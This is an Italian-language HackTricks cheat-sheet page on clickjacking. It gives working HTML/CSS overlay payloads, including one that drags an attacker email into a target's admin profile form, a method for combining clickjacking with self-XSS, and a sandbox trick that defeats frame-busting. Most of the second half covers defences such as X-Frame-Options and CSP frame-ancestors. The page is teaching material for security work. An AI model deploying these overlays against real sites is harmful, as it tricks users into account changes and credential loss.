12 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest per costruire e automatizzare flussi di lavoro utilizzando i più avanzati strumenti della comunità.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
What is Clickjacking
In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento di una pagina web che è invisibile o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
Prepopulate forms trick
A volte è possibile compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
Populate form with Drag&Drop
Se hai bisogno che l'utente compili un modulo ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che scriverà i tuoi dati controllati come in questo esempio.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload Multistep
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se hai identificato un attacco XSS che richiede che un utente clicchi su qualche elemento per attivare l'XSS e la pagina è vulnerabile al clickjacking, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell'account (dettagli che solo tu puoi impostare e leggere). La pagina con il modulo per impostare questi dettagli è vulnerabile al Clickjacking e puoi precompilare il modulo con i parametri GET.
__Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina precompilando il modulo con il payload XSS e ingannando l'utente a inviare il modulo. Quindi, quando il modulo viene inviato e i valori vengono modificati, l'utente eseguirà l'XSS.
Strategie per Mitigare il Clickjacking
Difese Lato Client
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
- Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
- Rendere tutti i frame visibili.
- Prevenire clic su frame invisibili.
- Rilevare e avvisare gli utenti su potenziali tentativi di Clickjacking.
Tuttavia, questi script di frame-busting possono essere elusi:
- Impostazioni di Sicurezza dei Browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto per JavaScript.
- Attributo
sandbox
dell'iframe HTML5: Un attaccante può neutralizzare gli script di frame buster impostando l'attributosandbox
con valoriallow-forms
oallow-scripts
senzaallow-top-navigation
. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
e allow-scripts
valori abilitano azioni all'interno dell'iframe disabilitando la navigazione di livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin
e allow-modals
, a seconda del tipo di attacco. I messaggi della console del browser possono guidare quali autorizzazioni consentire.
Difese lato server
X-Frame-Options
L'intestazione di risposta HTTP X-Frame-Options
informa i browser sulla legittimità di rendering di una pagina in un <frame>
o <iframe>
, aiutando a prevenire il Clickjacking:
X-Frame-Options: deny
- Nessun dominio può incapsulare il contenuto.X-Frame-Options: sameorigin
- Solo il sito attuale può incapsulare il contenuto.X-Frame-Options: allow-from https://trusted.com
- Solo l' 'uri' specificato può incapsulare la pagina.- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.
Direttiva frame-ancestors della Content Security Policy (CSP)
La direttiva frame-ancestors
nella CSP è il metodo consigliato per la protezione dal Clickjacking:
frame-ancestors 'none'
- Simile aX-Frame-Options: deny
.frame-ancestors 'self'
- Simile aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Simile aX-Frame-Options: allow-from
.
Ad esempio, la seguente CSP consente solo l'incapsulamento dallo stesso dominio:
Content-Security-Policy: frame-ancestors 'self';
Ulteriori dettagli e esempi complessi possono essere trovati nella documentazione frame-ancestors CSP e nella documentazione frame-ancestors di Mozilla.
Content Security Policy (CSP) con child-src
e frame-src
La Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe consentire per caricare contenuti.
Direttiva frame-src
- Definisce fonti valide per i frame.
- Più specifica della direttiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Questa politica consente frame dalla stessa origine (self) e https://trusted-website.com.
Direttiva child-src
- Introdotta nel livello 2 di CSP per impostare fonti valide per i web worker e i frame.
- Funziona come un fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Questa politica consente frame e worker dalla stessa origine (self) e https://trusted-website.com.
Note sull'uso:
- Deprecazione: child-src è in fase di eliminazione a favore di frame-src e worker-src.
- Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
- Definizione rigorosa della fonte: Includere solo fonti affidabili nelle direttive per prevenire sfruttamenti.
Script JavaScript per rompere i frame
Sebbene non siano completamente infallibili, gli script di frame-busting basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incapsulata. Esempio:
if (top !== self) {
top.location = self.location;
}
Utilizzo di Token Anti-CSRF
- Validazione del Token: Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non tramite una pagina Clickjacked.
Riferimenti
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Utilizza Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo.
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.